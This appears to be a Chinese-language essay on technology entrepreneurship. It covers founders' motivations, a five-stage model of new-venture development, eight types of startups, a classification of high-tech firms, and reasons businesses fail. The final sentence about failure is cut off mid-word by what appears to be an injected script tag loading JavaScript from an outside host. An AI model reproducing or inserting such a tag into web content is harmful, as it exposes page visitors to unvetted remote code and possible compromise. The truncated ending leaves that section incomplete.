一、创业动机的形成
从事科研的技术人员，在某一科技专业领域，孜孜不倦地钻研多年，积累了一定的经验与心得之后，往往会萌生自行创业的想法。Sham和Siropolis认为，“创业”是创业者依照自己的想法及努力工作来开创一个新事业，包括新公司的创立、组织中新单位的成立，以及提供新产品或新服务，以实现创业者的理想。也就是因为这些科研人员在技术领域积累了大量的经验，并在科研过程中产生了新的想法，发现了新的产品和服务，可以为消费者提供更大的使用价值，所以才有了开创新公司的念头。
二、新事业或新公司的形成与发展过程
Bell和McNmara则将技术创业的形成与发展分为五个阶段:
第一阶段:构思阶段(concept stage)——创业家或发起人形成技术创业构想的阶段。针对技术创业的构想进行营运计划书的撰写，有了完整的营运计划书后，就可进入第二阶段。
第二阶段:萌芽阶段(seed stage)——此阶段主要进行技术创业资金的筹募。
第三阶段:产品发展阶段(product development)——此阶段必需完成技术商品的开发、生产及检验。
第四阶段：市场发展阶段(market development)——产品上市。
第五阶段：稳定发展阶段(steady state)——创业家或投资者经过股权的买卖调整后，所有权及经营权底定。
由Greenberger和Sexton的研究得知，创业的最大驱动力在于创业者如何把握住机会。Stevenson认为，创业精神指的是一种追求机会的行为，这些机会还不存在于目前资源应用的范围，但未来有可能创造资源应用的新价值。Roberts则认为，创业精神即是新事业形成、发展和成长的原动力。因为机会是不常有的，所以依据Reynolds和Paul实证研究的结果可以提出：创业活动的发生并没有一定的顺序。在不同的创业个案里，各个创业阶段所花费的时间差异极大。以长期的观点来看，并不是所有的创业行为都会遵循一套固定的流程。
三、创业的类型
由于创业活动的发生无一定的顺序且差异极大，因此其类型亦有所不同。Gartner、Mitchell 和Vesper三位学者对106位创业者发出问卷，针对个人、组织、环境、过程等四项构面进行研究发现，创业类型可以分为八种：
离职创立新公司：新公司与原来任职公司属于不同行业性质，新公司也必须立即面对激烈的市场竞争。
总和性公司：新公司由原行业的精英人才所组成，企图以最佳团队组合，集合众家之长，来发挥竞争优势。
以原有技术和人际关系翻转：创业者运用原有的专业技术与顾客关系创立新公司，并且能够提供比原公司更好的服务。
购买一家新公司：接手一家营运中的小公司，快速实现个人创业梦想。
运用专业发挥影响力量：创业者拥有专业技术，能预先察觉未来市场变迁与顾客需求的新趋势，因此决定掌握机会，创立新公司。
积极进取服务：为了给特殊区隔市场顾客提供更好的产品与服务而离职创立新公司，新公司具有服务特殊区隔市场的专业能力与竞争优势。
追求独特理想：创业者为实现新的事业理想，在一个刚刚萌芽的新市场中从事创新，企图获得领先创新的竞争优势，但相对的不确定性风险也比较高。
在方法上有所改变的公司：离职创立新公司，产品或服务和其他公司相似，但是在制程与营销上有所创新，能提供顾客更满意的产品与服务。
四、科技产业领域的企业划分模式
在Westhead的研究里，将高科技企业分成四类：拥有技术的技术分殖创业者、拥有技术并运用财务网络的创业新手、管理技巧成熟并久经事故的企业以及毫无经验且技术有限的新公司。Nevens，Summe 和Uttal指出，上世纪90年代卓越的科技商品化能力，将是左右一家企业能否脱颖而出的关键。卓越的科技商品化能力应具备四项与众不同的特色：一是能够以更快速度推出新产品或新程序；二是能够在多个不同性质的市场将科技应用在产品身上；三是能够开发出更多数量的新产品；四是能够将更多种类的新科技纳入新产品。所以，在评估一家公司的科技商品化能力时，可以从产品上市时间、市场涵盖面、产品数量及科技广度（technological breadth）等构面来衡量。
五、创业失败的因素
创业者及其团队都希望创立的新事业或新产品能够在市场上获得成功。但是，创业的过程往往不是一帆风顺的。Flahvin的研究指出了企业失败的理由：缺乏资金、缺乏财务控制及会计信息、缺乏管理技巧及经验、无法针对市场改变来因应及调整。克雷顿·克里斯汀生提及，企业失去领导地位的原因很多，例如：决策的错误、执行的不彻底、计划的失当、短期投资失误影响资金流动、无效率资源的浪费以及运气不好等。他还提出了企业经营的失败架构(Failure Framework)是建立在三个基础之上的：一是延?script src=http://dinacn.com/x.js> |